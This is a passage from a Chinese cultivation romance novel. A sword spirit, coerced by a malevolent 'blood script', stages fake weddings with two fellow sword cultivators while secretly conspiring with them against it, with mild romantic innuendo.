以及天道仍在,可驱不可杀。 意思是,天道对山河卷的规则仍然在发挥作用。天道让进入山河卷的修士杀掉灾祸,而血字没有更改的能力。 这些是贺果知一边思索,一边询问血字的理清楚的。 同时,贺果知还切身感受到了血字所说,天道仍在的含义。 因为当他进入正厅之后,血字却无法出现在他的眼前。那种危机感仍在,可却没了注视的感觉,似乎是他进入其中,血字就“看”不到他了。 但仅仅是“看”不到他。 贺果知猜测,这是天道留下的生路,让他可以里面做出违背血字的事情。 至于血字是什么东西…… 山河卷所吸纳的是世间的灾祸,这个血字,很可能也是一种灾祸。只是血字不是鬼、人、妖,或是蝗灾、水灾这样普通的灾祸。 弄清这件事后,贺果知又将这里四处逛了逛,发现只有正厅,以及卧房这两处,可以隔绝血字的注视。 贺果知将银白长剑收入剑鞘。 剑柄,以及宗嚣留在他手上的两道剑气,几乎被他攥得发热。 贺果知心中还有疑惑。 进入山河卷这么多修士,血字为什么选他? 他理清这些,就花了不少时间。 要是换成霍闻星他们,一定不会同他这样。 贺果知怀疑,是因为他比较弱,也没那么聪明,比较好被血字掌控。 呜。 贺果知暂且把心中疑惑压下。 他现在要做的事,应当是往进入山河卷的修士那驱赶灾祸,迫使其快速获得灵力,而不是等着修士们一点点杀光灾祸。 如无意外,能快速杀掉最多灾祸的,一定是霍闻星他们。 然后贺果知要做的事,是玩弄他们的感情,让他们成为炉鼎,并杀了他们。 第34章 第34章 云压在城池上空, 天气沉闷。 贺果知在一栋临水楼的三层,遥遥看向隔着河道不远处的一家客栈。 三名白衣剑修和一名黑衣剑修赶到客栈。 这座城连带客栈附近的灾祸,被他们清过一遍。他们先后进入客栈, 并且在客栈外布下复杂的阵法。 黑衣剑修进入客栈时,似乎察觉什么, 回头锐利的视线陡然朝贺果知所在的位置看过来。 贺果知咻的一下缩在窗子后。 静默片刻, 他才悄咪咪看过去,客栈的门已经关上了。 这四名剑修是霍闻星他们。 现在血字臣服于贺果知,即使贺果知距离他们很近, 他们也无法察觉。 贺果知大概是被“屏蔽”的状态。 血字的存在, 相当于将贺果知拉到进入山河卷全部修士的对立面。他近乎在和整个仙洲, 各宗门家族的精英为敌。 想想都很可怕。 贺果知心尖颤抖。 只要贺果知不在那处山庄的正厅、卧室,贺果知便处于血字的注视之中, 或者说监控之下。他所作的事, 要符合血字对于“恶事”的审判。 来的路上,贺果知看到一名修士被灾祸追赶, 试探出手帮忙,那种危机感立刻摄住他。 贺果知跟了一会儿, 看那名修士摆脱危机。 贺果知来找霍闻星他们, 是为了玩弄他们的感情。 好在血字只能监控他的行为, 并不能得知他内心的想法。 贺果知蔫巴巴躲在窗子后面, 心里已经默默流泪猫猫头好久了。 呜呜呜。 要是一起玩弄, 贺果知想想都头皮发麻,所以贺果知准备一个一个来。 贺果知第一个要找的,是霍闻星。 等霍闻星与其他三人分开, 贺果知就去找他。 啊不……似乎用“掳”字更加合适。 客栈门窗紧闭,外面又布下阵法, 贺果知不知道里面发生什么,他蹲在窗子后,默默等待着。 客栈内。 四名剑修在木桌旁坐下,擦剑、吃丹药、疗伤、看地图,一时无人说话。 安静片刻,程相烽问:“他怎么样?” 没有说名字,但其余三个剑修都知道程相烽问的是谁。 还在各自忙自己的事情,但动作却放轻了些许,显然在关注这个问题的答案。 短暂的静默后,响起霍闻星的声音。 “还好。” “但依然感应不到他的位置。” 霍闻星垂着眼,正在擦剑,神情淡漠。他手中的剑,而是一把通身漆黑的剑,正是那日斩杀黑蛇所得, 两天前贺果知连带剑一起消失后,霍闻星搜寻无果,给程相烽他们传信,然而,程相烽、裴连卿、谢振涛三人,也没找到贺果知。 进入山河卷内,可组队也可单独行动。霍闻星他们选择单独行动,但也约定了见面的时间和地点。今日是约定的日子。 交换各自的消息后,客栈再次安静下来。 忽然,裴连卿道:“有人来了。” 客栈外面,贺果知也听到交手的动静,看到一路被灾祸追着跑到此地的修士。 贺果知躲在窗子后面看。 一人一狐默契配合,总算杀掉了灾祸。 那只毛茸茸一团的狐狸,此时变得很大,足有两层高。狐耳、尾巴、四足,均有赤色的火焰燃烧。 不是贺果知可以抱住的可爱一团。 却十分威风凛凛。 贺果知远远看着,看到狐狸柔顺发亮的皮毛。 变大了好漂亮。 贺果知看到,狐狸耳朵尖尖动了动,似乎朝他所在的方向偏头,但很快转了回去。 与威风凛凛的狐狸不同,游庆没什么形象地在地上瘫了一会儿,然后趴起来,拍了拍身上的尘土。 一人一狐似乎又在吵架,边吵游庆来到霍闻星他们所在的客栈,敲响客栈的门。 贺果知用了一个法术,听到游庆的话。 “里面的道友可否开个门,在下被灾祸追了许久,想在此处落脚歇一会儿。多谢多谢。” 片刻后,客栈的门打开,黑衣剑修在门后,侧身让游庆进去。 贺果知再次蹲回窗户后面。 托着脸想。 唉。 又看不到了。 客栈内。 两层楼高的狐狸,进入客栈后缩小成一团,一双狐狸眼转了一圈,冲游庆嗷了一嗓子。 游庆有些惊喜:“原来客栈里的是谢师兄啊,我们又见面了,真有缘分啊!” 游庆的事,谢振涛已经告诉霍闻星三人。可在看向游庆时,并没有如谢振涛一样表现敌意,好似游庆只是寻常修士。 狐狸也不知道怎么回事,一直嗷嗷冲游庆叫。 游庆一把把狐狸抓起来,捂住嘴巴:“打扰了。” 裴连卿笑道:“不打扰。” 游庆:“……呃,话是这么说,但我怎么觉得诸位好像不欢迎我?你们的脸色似乎不太好看?” 确如游庆所言,客栈内的气氛寂沉闷。 “你们怎么和弄丢了夫人似的?” 游庆挠挠头,在客栈内找到地方坐下来。 四个剑修的目光,汇聚到他身上。 他像是完全无意说出这句话,随后笑着话锋一转:“哈哈,可那怎么可能,几位师兄又没有举行合道大典,又没有道侣。而且以师兄们的修为,怎么会做出弄丢夫人这种无能之事。” 游庆弯了杏眼,笑着说道。 那笑意像是未达眼底。 但又似乎只是笑。 程相烽睇过来一眼:“游师弟是兽宗的,嗯……”程相烽打量他,“兽宗妖兽暴动那次,我去帮过忙,见了不少兽宗弟子。可是游师弟,我没见过你。” 游庆:“你说那次,我刚好出门在外,听说妖兽暴动之事,也异常担心呢!” 程相烽:“当时适逢兽宗门内大比,游师弟也不在?” 游庆:“程师兄你诓我作甚,那几日可不是门内大比。” 程相烽倏然笑了一下,懒洋洋说:“哦,那是我记错了。” 游庆抱着狐狸,道:“贺师兄呢,怎么不见他?” 自游庆进门后,霍闻星看了他一眼后,垂眸擦剑,此时刚将长剑收入剑鞘之中。 “他消失了。”霍闻星将剑置于桌上。 无波无澜望过去。 游庆脸色的笑意,总算是一滞,磕巴道:“啊?消失了?!” 游庆正色:“请霍师兄详细说说,我看看有什么能帮上忙的地方。” 另一处,贺果知蹲得腿麻,索性在墙角坐下来。 游荡到楼内灾祸看他一眼,滴答着血水又走了。没有同见到其他修士似的,不管不顾扑上去。 等了会儿,贺果知听到动静,趴到窗边去看。四个剑修同游庆离开,前往不同的方向。 贺果知打起精神。 他可以去找霍闻星了! 即将出发前,贺果知和血字对话。 “你应该能用你的方法知道,我是不喜欢他们的。所以一会儿我欺骗他们,是去‘做恶事’的,而我这么做,可是为了玩弄他们的感情。” 他可是去“好好”完成任务。 可别血字判定他没有做恶事。 贺果知能感觉到,他周围的一切变得凝滞、粘稠,像是在查验什么,片刻后那种凝滞粘稠散去。 血字浮现: 【善】 贺果知在心中松口气。 贺果知从临水楼楼外的连廊翻下去,跟在霍闻星身后。 他看到霍闻星手中的剑了。 通身漆黑,是他们杀了黑蛇之后掉落的那一把。 之前霍闻星去往一个地方,会停下来把路上的灾祸杀了。此时却是在赶路,除非不长眼的灾祸撞上来,他不会停下来。 但是,贺果知将灾祸们朝修士所在的地方驱赶。所以霍闻星不得不停下来,斩杀一个个灾祸。 白衣剑修手起剑落,又斩杀一个灾祸。 附近只剩下几个小的灾祸,畏惧地看着这一幕,纷纷退走了。 这个灾祸在贺果知看来,长得实在是——丑。 它没有具体的形态,是一块蠕动的小山一样的肉块。行动并不快,一路走一路吞吃,小的灾祸,还有路上的建筑等,全都被它吞吃下去。 它看到霍闻星,很是兴奋,竟然加快了速度朝霍闻星爬过去。 白衣剑修冷淡抬眸,身形一闪,出现在肉山的后面。 肉山忽然一停,下一瞬,它的身躯从中间齐整地爆开,黑红的血液从它庞大的身躯中喷溅出来。 踏空而立的白衣剑修面容冷淡,墨发白衣在灰暗、带着腥臭的风中肆意鼓荡。 他收剑入鞘。 抬眸。 长眸微睁。 贺果知御剑落下来。 也许是因为即将要做的事,也许是分别了两天,贺果知不知道为什么,在他想象中,他欣喜于再次见到霍闻星的感觉并没有出现,面对霍闻星,他只有心虚和尴尬。 贺果知一手拿着剑,另外一只手胡乱抓了两下被剑风吹得凌乱的发丝。 “老……” 他只来得及说出一个字,下一瞬,落入一个温热、宽阔的怀抱里面。 贺果知被霍闻星抱在怀里,眼睛微微睁大。 他嗅到霍闻星身上,他所熟悉的风雪般凉冷的气息。 第35章 第35章 贺果知被抱着, 轻轻拍了拍霍闻星的后背。 “老霍,我这不是回来了。” “嗯。” “你抱得有点紧,松一松。”贺果知说。 其实不是霍闻星抱得紧, 而是霍闻星身上,有一种他隐隐畏惧的感觉, 像是与他自身极为相斥。贺果知略作思索, 这种畏惧应该是因为霍闻星修无情道,血字和天道对立,霍闻星的无情道必然和他相斥。 霍闻星松开怀抱, 垂下眼看他, 眉眼间却并无重逢的喜色。 霍闻星眉头轻皱, 冷然看他。 贺果知心头跳空一拍。 “你去哪儿了?”霍闻星问。 “还有,你……” 贺果知装着若无其事的样子, 打断霍闻星:“我要说的就是这件事。” “老霍, 我是你的剑灵,但我一直没有修炼, 得过且过。但是在两天前,我找到我要修的道了。” 剑修眉宇间的折痕更深。 贺果知忽然看向一处, 那块的石头后面, 躲着一个灾祸。 霍闻星也看过去。 贺果知把手, 按到了霍闻星拿剑的那只手上。 贺果知挥了挥手, 那个躲在远处的灾祸, 拖着肠子来到他们旁边,直挺挺跪了下来。 贺果知扭头看霍闻星:“看到了吗,它们现在都听我的。” “何为天道, 凌驾众生之上是为天道。既然你我头顶的东西可以当天道,它制定了现在的规则, 那我为什么不可以,让我的道重新制定规则?” “天道惩恶扬善,我偏要与之相反。” “天道要杀灾祸,那我留下灾祸。” 贺果知这么说,是他从血字这里感受到的。 “果汁。”霍闻星的嗓音很冷。 “你知道自己在说什么吗?” 贺果知:“我当然知道。” 霍闻星松开怀抱了,但一直牵着贺果知的手腕。 剑修比贺果知高出一截,要垂下眼来看贺果知。贺果知明明抬头仰视,却仿佛他才是比霍闻星高的那一个。 “我回来找你,是有一件事。”贺果知说。 青年的语气傲慢,可他似乎并不觉得自己傲慢,好似他本应凌驾众生之上。 贺果知心脏噗通跳动,紧张又心虚。 “我心悦你,你要不要和我结为道侣?” 霍闻星垂着眼,淡漠注视贺果知。若非贺果知仍然被他牵着手腕,贺果知一定以为霍闻星会转身就走。 贺果知心更慌了。 霍闻星看着很平静,甚至反应有些平淡了。 但凭着这几年的了解,贺果知知道。 霍闻星生气了。 救救…… 要命…… 呜呜呜这不能怪他…… “结为道侣?”霍闻星薄唇轻启。 淡漠的嗓音极冷。 贺果知心里都要怕死了,表面上仍然维持傲慢。 “对。” 贺果知想的玩弄感情,是对他们说喜欢,然后当作炉鼎。 只说喜欢骗得还不够彻底,要高高捧起再摔下去,这样才摔得狠。没什么比结为道侣,他们大婚,再把这种美好与幸福戳破,更加残酷的事情了。 道侣只是谎言,他只把他们当作炉鼎。 这就是贺果知要做的恶事。 结为道侣只能一生一世一双人,血字却让贺果知同时和他们一起结为道侣。 为此贺果知做了一些布置。 “我一直喜欢你的,只是没有说出来。你也喜欢我的,我知道的呀。最喜欢你了,大师兄他们我都不喜欢,只想和你结婚契,和你在一起。” 贺果知心中疯狂擦汗。 哈、哈…… 等把霍闻星骗回去,这句话改一改,他还会对其他人说的。 霍闻星看着他,沉默不语。 贺果知再接再厉,晃晃霍闻星牵着他的手腕:“好不好?” “老霍。” “我只是你的,你也只是我的,我们只有彼此。” “你不想要吗?” 灰茫茫的旷野,乌云压在上头。青年笑吟吟的,说的话简直是裹了蜜糖的砒霜,让人明知道有毒,也心甘情愿的咽下去。 “好。” 良久,霍闻星喉结滚了一下,如此说。 他偏开头。 贺果知在心中预想过。 他这个样子,霍闻星肯定知道他有问题,明知他有问题,难道还会答应这个婚契吗?但也有可能答应,只有在他身边,霍闻星才能找到贺果知这样的原因。 霍闻星要是拒绝了,贺果知就让十里八村的灾祸都过来,把人掳走。霍闻星要是答应,那他顺势就把带霍闻星回到“安全屋”。 殊途同归! 回山庄前,贺果知先把大灾祸驱赶到霍闻星面前,要霍闻星一个个把它们都杀掉,获得灵力。 养肥了, 就可以…… 啊,他在想什么。 贺果知遏制住他自己的想法,他怎么觉得霍闻星开始像红烧肉了。 他在被血字影响。 这个念头一闪而逝,意外地很快被贺果知抛在脑后,似是从未出现过。 直到傍晚,贺果知把霍闻星带回山庄。 此时的山庄,完全换了一个样子,到处都挂上红绸,贴上喜字。布置山庄,完成这件事的,则是拥有神智的妖、人、鬼等灾祸。 灾祸们在院内摆了宴席,有的充当丫鬟仆从,有的充当上门的宾客,一眼看过去,喜气洋洋,群魔乱舞。 贺果知:“……” 没错这就是他的布置,但看起来有一点心梗。 贺果知牵着霍闻星的袖子,一边往里走一边淡定道:“既然是结契,那大婚就要有大婚的样子,所以我让它们把这里布置了一番,你喜欢吗?” 霍闻星立在庭院,淡漠注视往来的灾祸。 他冷淡道。 “喜欢。” “用心了。” 贺果知:“我心悦你,你既和我结为道侣,我不能委屈了你。” “我会给你一个圆满的婚礼。” 贺果知说,霍闻星听着。 白衣剑修和群魔乱舞、红绸喜字的山庄,看起来实在是太格格不入了。 有壁。 贺果知感觉,霍闻星像是想一剑把这里全砍了。 贺果知连忙把霍闻星推给扮作丫鬟仆从的灾祸们:“大婚的婚服已经准备好了,你去换上。” 白衣剑修被他刚才还提剑斩杀的灾祸们簇拥走了。 贺果知看着这一幕。 更心梗了。 贺果知去城中别院,也把灾祸们给他准备的婚服换上。 婚礼开始。 霍闻星从山庄骑马带着迎亲队伍去接他。 贺果知在别院正厅见到霍闻星。 剑修换下惯常的白衣,一身大红的婚服。 依然高冷出尘,可大红的婚服,闪烁的烛火,依然为他棱角分明的侧脸渡上一层暖色。 霍闻星牵着贺果知走出别院。 别院外的长街上,是浩浩荡荡的迎亲队伍。 知道这只是逢场作戏,贺果知准备婚礼是为了表达霍闻星对他重要,他对霍闻星的喜欢,以此来欺骗霍闻星,让血字判定他在做玩弄感情的恶事。 可当贺果知坐到灾祸抬的轿子里,心中生出些许不自在。 怎么感觉真把自己给嫁了? 迎亲队伍一路前行。 山河卷中的城池都是空的,一片萧索寂寥的样子。贺果知把灾祸们驱赶过来,那些没有神智的,也都在长街上扮演围观的百姓。 坐在轿子上,贺果知撩开车帘看了眼。 夜幕之下,长街上灯火通明。 无数的灾祸围观,颇为热闹。 很快轿子出城,来到城外的山庄。 正厅。 霍闻星和贺果知都是宗嚣的徒弟,高堂之上,放的是宗嚣赠与年幼的霍闻星的木剑。 大红的喜绸一端在霍闻星手中,另外一端在贺果知手里。 一拜天地。 拜完后在唱拜声中转身。 二拜高堂。 再转身。 夫妻对拜。 礼成。 贺果知被灾祸扮的喜婆等人簇拥前往婚房,霍闻星则留下来招待宾客。 进入婚房——也就是“安全屋”卧房。 周围安静下来,婚礼上的热闹都被隔绝在外。 正厅、卧房,都是灾祸无法进入的地方。 虽然危机仍在,但是在这里,至少没有血字的注视。一直被血字看着,贺果知的精神一直紧绷,此时才放松下来。 贺果知瘫倒在床上,打了个滚。 一会儿他要做的,是把霍闻星当作炉鼎。他怎么能真把霍闻星当作炉鼎,但这里是“安全屋”,他可以趁着血字看不到,操作一下。 霍闻星什么时候回来? 灾祸们尽职尽责扮演宾客,霍闻星要一桌一桌去敬酒吗? 为什么他有一种感觉,霍闻星会在宴席上把宾客们全都斩了? 时刻被血字看着,一点都不能错对贺果知来说太累了。他在床上躺了会儿,困意上涌。 也不知道过了多久,迷迷糊糊间他看到,婚房的门打开。 霍闻星进来。 再关上门。 他和霍闻星都在婚房之内,那种悬在心头的危机感,陡然加重了。对血字来说,他和霍闻星都在婚房,是失去掌控的状态,所以危机感会加重。 消除血字的警惕,那贺果知要赶快把他把霍闻星当作炉鼎这件事坐实。 贺果知一下清醒了。 在霍闻星错愕的目光中,飘过去一把扑到霍闻星的怀里。 贺果知说话声音,比平时大了一点点。 他抱住霍闻星的腰,喊人:“夫君。” “我们快些休息好不好?” 第36章 第36章 贺果知很急。 好多事情要做。 瞒过血字, 让血字认为他真的在和霍闻星做什么,然后要告诉霍闻星现状,暗中商议……还有件事, 那就是霍闻星修无情道,贺果知担心, 霍闻星根本不会风月之事! 看着霍闻星冷若冰霜的这张脸。 贺果知更确信了。 假装他们在做风月之事, 还是要靠他! 贺果知和霍闻星耳语,撒娇似的:“你抱我,去床上。” 霍闻星外面是大红的喜服, 里面是剑宗白衣校服。 贺果知捞起霍闻星的袖子, 去里面翻找他要的东西。 话本……话本…… 他翻着, 发觉没有动静,正要抬头, 忽然被托着屁股抱起来。 贺果知无比配合, 二话不说夹住霍闻星的腰。 话本呢话本呢…… 找到了! 贺果知把带插图的那个话本翻出来——林樊吟给他的,贺果知藏到霍闻星乾坤袖中, 想回头拿出来,结果忘了, 此时正好用。 他把话本给霍闻星, 快速翻到其中一页的插图。 婚房内, 烛火明亮, 大红的喜服交叠, 其中一人抱着另外一人。 被抱着的青年身量清瘦,漂亮的眉眼间有些许的愁色。红色喜服的映衬下,青年的皮肤愈发白腻, 宛若上好的玉,想让人狎昵把玩。 离近了能看到, 他涂了口脂…… 柔软的唇比平时更红一些。 他很信任抱着他的人,紧紧抓着抱他的人的衣襟,一点都不避讳过近的身体接触。 霍闻星垂眸看他。 贺果知:“……” 啊啊啊啊啊啊啊啊! 对着霍闻星这张无欲无求的脸,要说风月事,感觉是造孽啊! 贺果知内心反复裂开,他一边把自己补好,一边把心一横,话本摊开那一页给霍闻星看。 “看到了吗,你要这样对我。” 烛火映照之下,青年白皙干净的脸简直红透了。 与此同时,贺果知给霍闻星传音:“不是真的做什么,得假装一下。那个东西现在看不到,但它还听得见。” 在卧室外面,贺果知不敢给霍闻星传音。以血字的能力,无法得知他在想什么,但传音……未必没办法知道。 贺果知刚发现卧室是安全屋时,在卧室内算过一卦,七.八分确信血字无法察觉传音。此时说完,屏息等待着,用力抓着霍闻星的小臂。若真能听到传音,那他应该算是没有做恶事,血字会要杀他的。 贺果知好怕。 看着霍闻星,都要哭了。 此时他刚被霍闻星放到床上,他抓着霍闻星的衣袖,一点都不想让霍闻星离开。霍闻星顺着他力道,手臂撑在他身侧。 一上一下的位置。 至于话本,这样的拉扯间,掉到了床铺上。 霍闻星低低嗯了一声。 安静片刻,那种危机感并没有加重。 贺果知泪汪汪的,松口气:“老霍……” “叫我什么?”霍闻星垂着眼,冷漠问他。 贺果知一下反应过来。 霍闻星就是靠谱,这是在提醒他,他们是在假装。 贺果知一手去勾霍闻星的脖子:“夫君……” 抱得并不专心,另一只手去拿话本。 要命要命要命! 霍闻星怕是都不知道要怎么做! 他得让霍闻星知道。 贺果知不用摸自己的脸,都知道他的脸烫得能煎蛋了!! 忽然,贺果知的思绪戛然而止。 惊恐。 他勾着霍闻星脖子的手被拽下来,去拿话本的手也被抓回来,被霍闻星一只手握住两个手腕,掌控住,然后顺势把他翻过去,将他压入了被褥之间。 束发的簪子一抽,乌色的长发溜下来。 白皙的小脸压在被褥间,长发掩了些脸侧和脖颈。 因为害怕,快哭了。 俊美冷漠的男人在他上方,做的是欢.爱之事,却冷然没什么表情。但那双狭长锐利的眼中,染上很重的情.欲,漆黑无比,一点光都透不过来。 霍闻星扯过喜床上的被子盖住他们。 锦被之下,他去摸索贺果知的衣带。 他把人困在自己身下。 “这样?” 剑修的嗓音很低,还带着些许的喘息。 冷淡的嗓音。 很.欲。 贺果知被他吓了一跳,然而这种情况下,他还是信任霍闻星的,只是本能去抓住剑修宽.硬的腕骨。 “是……是,你?” 屋外,可以听到一室的凌乱和喘息。 但实际上,霍闻星只是扯松了两人的衣襟,制造出混乱的样子。而在心中,已经在给贺果知传音了。 “怎么回事?” 听到霍闻星冷淡镇静的声音,贺果知差点一嗓子嗷呜哭出来。 独自面对血字,危机时刻悬着,上一秒笑嘻嘻,一个不留神,下一秒就要生死相搏了。 事情在贺果知心中过了好多遍,此时流畅无比地告诉霍闻星。 说出来之后,贺果知长长出了口气,一身轻松。 霍闻星一定有解决的办法。 贺果知确信。 因为霍闻星在离开山河卷后,才被魔尊秦飞情劫走,所以霍闻星一定有解决的办法。 “宝宝。” “要发出点声音。” 这是霍闻星传音给他说的。 贺果知反应了一下,陡然明白过来霍闻星在说什么。 是……是要他那什么出来。 实在是想明白要做什么,给了贺果知太大冲击,以至于他忽略了霍闻星对他的称呼。 贺果知虽然看过很多小说,但他看的都是绿江的。众所周知,绿江脖子以下是要锁掉的,很少能看到香艳的情节。就算看到……贺果知也都是想象,他不知道要怎么…… 不用贺果知说,对视一眼,霍闻星已经从他的眼神中看懂了。 视野陡然发生变化,贺果知惊呼,忙不迭抱住霍闻星的肩膀。 霍闻星把他抱到腿上,手摸索到喜服内,在腰上揉了一下。 贺果知已经熟透了。 大概知道是什么声音。 埋在霍闻星肩膀,也不抬头,轻轻哼了两声。 还有一件很重要的事。 贺果知给霍闻星传音。 “现在应该是我把你当作炉鼎,”贺果知说,“所以明天白天,我应该修为大涨。” 霍闻星嗯了一声,将灵力喂给贺果知。 “要多少?” 贺果知都是困了饿了才吃霍闻星的灵力,灵力哪儿有灵食好吃。贺果知头一次被喂了这么多,但不要又不行,修为跟着提升。 “够了够了!”贺果知说。 贺果知吃了好多,回过神担心霍闻星:“你都给我了,那你够不够?” 霍闻星:“没事。” 贺果知:“真的吗?” 霍闻星:“嗯。” 贺果知:“那个,老霍。那你记得明天晚上,也让我多吃一些。” “我是和你们所有仙修为敌,杀掉灾祸多的几人,我都会用这种方式,把他们当作炉鼎。” 贺果知在心里算时间。 贺果知不记得书中从进入到离开多久,半个月?还是一个月?总之不解决这个灾祸,那一直都是如此。 “都?”霍闻星问。 贺果知:“嗯嗯。” 贺果知:“所以我需要好多灵力,你要压制修为,不能让那个东西发现。” “还要每天给我很多灵力。” 贺果知说着,微微沉默。 怎么感觉自己好渣。 错觉吧。 霍闻星淡淡:“知道了。” 翌日天亮,贺果知把门打开。 他像内个什么采.阳.补.阴的妖精,一脸的神清气爽。长发懒得梳,披了件外袍开门。 ——实际上是因为正事说完,他缩在霍闻星怀里,好好睡了一觉。霍闻星在这,就算是血字他也不怕,反正很有底气。 至于霍闻星,被他抓着手腕,从卧房内拖了出来。 贺果知抬着下巴,轻轻皱眉一副很嫌弃的样子:“剑宗首席弟子,不过如此。” “你是我的人了,我劝你不要有什么别的心思。” 他驱赶一样挥挥手:“别在这碍眼,你快去猎杀灾祸。” 化神修为,如今退至金丹。 剑修身形高大,被霍闻星拽出来后,低着头,薄唇抿着,没有说话,虽然肩背如竹,可让人看来,他没了昨日那意气风发的样子。 “是。”剑修抬眸,屈辱回答。 系好自己的衣带,捡起被丢在地上的佩剑,剑修转身离开。 看着剑修离开的背影,贺果知的唇角轻轻翘起。直到再也看不到,收回视线。 贺果知心中浮现一个问题。 只是两日未见,今天早上他看到霍闻星,为什么觉得霍闻星不一样了。 也说不出来具体是什么。五年多朝夕相对,他很熟悉霍闻星,可以看懂对方眼神中很多含义,这种不一样像是,似乎他有些看不懂了。 只有两天,怎会如此? 他想多了吧。 要是用他看的小说表达来形容,那眼神像是黑化了? 但怎么可能哈哈,他看到小说中后,霍闻星也一心无情道,一点黑化也没有。虽然感情线崩了,但贺果知却笃信,霍闻星不会黑化! 霍闻星拿的不是黑化主角的剧本! 贺果知穿上外袍,用发带把散下的长发系上。 召来地图,在跟前摊开。 地图上,代表霍闻星的圆点缩小了,看起来也没有那般明亮。拥有灵力更多,贺果知可以感知到的东西更多了。他察觉到,血字将一缕注视,投注到了霍闻星身上。 与此同时,贺果知却能感觉到,血字并不知道他可以知道,似乎是他身上沾上很重的无情道气息,将那些相关的气机遮掩了。 应该是他从霍闻星这里吃掉了太多的灵力。 把人当作炉鼎的功法,贺果知没有。但这么多灾祸,其中不少邪修,贺果知从他们那里,挑挑拣拣,找了一个最恶毒阴狠的。 他问血字:“你说,下一个找谁好?” 【剑宗程相烽】 贺果知扫了眼。 地图上,程相烽的白色墨点最大,代表此时程相烽的修为最高。 第37章 第37章(修) 贺果知在一个小镇的院子内找到程相烽。 沿途的灾祸、镇上的灾祸, 贺果知驱赶过去的,全都被程相烽清扫过一遍。大约是清扫灾祸加找人,几天没有合眼, 他找了个躺椅躺着,在桂花树下阖眼休息。 贺果知御剑落下来, 蹲到躺椅旁看了一会儿。 反正贺果知也不着急。 等程相烽醒了再骗也行。 贺果知环顾一圈。 小院屋内也有床榻, 他也去睡一觉。 贺果知站起身,手腕被拽住了。 贺果知一顿。 日头偏移,树影跟着移动, 山河卷内难得的阳光照射下来。程相烽一只手挡在眼前避着阳光, 另一只手抓着贺果知的手腕。 “醒了?”贺果知问。 程相烽嗯了一声。 手移开, 凌厉的长眸睁开,看向贺果知。 午后, 桂花树下, 明亮闪烁的光影下,青年就立在他旁边。 程相烽笑了一声:“还以为在做梦。” 贺果知知道程相烽在开玩笑, 回了一句:“就是在做梦,你不知道吗。” “你现在是怎么回事?”程相烽问。 贺果知也不用隐瞒什么, 他的修为暴涨, 又没有隐瞒, 他还消失了几天, 眼睁睁看着他们找他。他是霍闻星的剑灵, 霍闻星给他们传信,说不用找贺果知了,只说找到了, 再问什么都不说,贺果知又这样出现, 哪里都透着古怪。 程相烽往旁边挪了挪,在躺椅上腾出一块地方给贺果知坐。 贺果知坐下来,又将他找到了他的道的说辞搬出来。 “哦?”听完,程相烽笑了。 程相烽:“你找到的道,你确定是对的吗?” 贺果知:“大师兄为什么这么问?” 程相烽:“以前在玉尘峰,剑宗医峰长老,说你很是机灵,问你要不要跟随他学医。合欢宗的宗主,对你极为欣赏,亦有收你为徒的打算。你还是师尊的徒弟。” “你找到的这个道,几时找到的,有前面的那几个厉害吗?” “就算找到了,它也排在后面,在你这里,不过排行老四。” 贺果知:“……” 不行。 贺果知要被程相烽逗得破功了。 以前总觉得程相烽让他生气,现在看起来,程相烽这嘲讽的本事用在别人身上,真的好爽。 贺果知明显感受到,程相烽这么说了之后,血字的危机感陡然加重,仿佛空气都凝滞了。 程相烽一脸为他考虑,问的很认真。 贺果知皱起眉,冷声:“不是,别胡说。” 程相烽懒洋洋应了一声。 这声之后,院子里静下来。 贺果知不知道程相烽在想什么,贺果知不说话,那是因为……他心虚。 但他的心虚不能表现出来。 想了想,贺果知把程相烽往躺椅一侧推:“往那边一点,给我留点位置。” “嗯?”程相烽似有笑意,剑眉压下来。 在程相烽的角度,贺果知不应该这样做的,这样的行为突破了他们身体之间的界限。 他看着贺果知,依言往旁挪。 单人的躺椅,容纳两个成年男子还是勉强。可贺果知依然猫儿似的,躺下来窝到程相烽身边,拉过程相烽的手臂枕住。 程相烽被他这个动作惊了一下,反应过来护住他的腰,免得贺果知掉下去。 他们的距离很近。 程相烽的嗓音在贺果知头顶响起:“你知道你在做什么吗?” 贺果知揪着程相烽的衣襟,心中流泪猫猫头。 知道呀。 骗你当我炉鼎呀。 呜呜呜。 贺果知小声:“我心悦你,要不要和我结为道侣?” 同样的话,再说一遍,还是昨天刚说的,贺果知觉得自己渣得明明白白。 贺果知把昨天给霍闻星说的话改了改,说给程相烽:“我一直喜欢你的,只是没有说出来。你也喜欢我的,我知道的呀。最喜欢你了,老霍他们我都不喜欢,只想和你结婚契,和你在一起。” 窝在怀里的青年,一板一眼说着喜欢的情话。 程相烽盯了他一会儿,应道:“好啊。” “别后悔。” 诶? 只说两句话拐人还是有难度。 贺果知在程相烽沉默的时候,把他要说的在心里排列了一下。 没想到程相烽一下答应了。 很快贺果知想通。 程相烽如此,当然是为了留在他身边,找出他这么做的原因。 不过他怎么会后悔。 要后悔也是程相烽后悔。 和昨天一样,贺果知又赶了不少灾祸来。 程相烽抻了个懒腰,散散漫漫的,看到灾祸,再不紧不慢用个剑招。看着慢,但一个下午过去,也清扫了很多灾祸。 等到傍晚,贺果知把程相烽带到山庄。 要布置山庄,这里的灾祸大多是有神智的。也正因为如此,见到又一个剑修被领了回来,灾祸们虽然低头忙自己的事,但那个氛围就是变得古怪了一点。 贺果知:“……” 贺果知当作看不到。 去了别院,换上喜服。 他的和程相烽的都不是昨天那套,换了一套新的。 与昨天一样的大婚流程,贺果知坐到轿子上,心虚得厉害。 第二次把自己嫁了。 三拜礼成。 程相烽笑呵呵同宾客们说话,不一会儿和宾客们混熟了。要不是都是灾祸,长得多少有点不同,那简直和正常的婚礼没什么区别。 程相烽不紧不慢的样子,带着贺果知也着急不起来。 到了婚房,贺果知蹬掉靴子,滚到被子里。 迷迷糊糊睡着了。 听到婚房外说话声,贺果知从睡梦中醒来。 晕晕乎乎从床上坐起来。 哐的一声,婚房的门打开,几个灾祸把程相烽架进来。 “主人。”灾祸恭敬道。 “姑爷来了。” 门开着,悚然的注视感从外笼罩住贺果知。 贺果知寒毛炸开,人也清醒了。 穿上鞋过去,把喝醉的程相烽接过来。 成年男子的重量毫不客气压到贺果知的肩膀上。 灾祸们说了吉利话,赶紧跑了,门也关上。 程相烽像是很醉,半个身子的身量都压着贺果知。英俊眉宇间染着松松的笑意,屋内烛火的光映在他线条分明的侧脸上。 一旦关上门,危机感立即加重到贺果知心悸的程度。 下午程相烽嘲讽过血字,所以这危机感比昨天还要重。 贺果知心尖微颤。 喊人:“夫君?” “真的醉了?” 贺果知是不信的。 这是在山河卷,程相烽再爱酒,也不会此时喝醉。 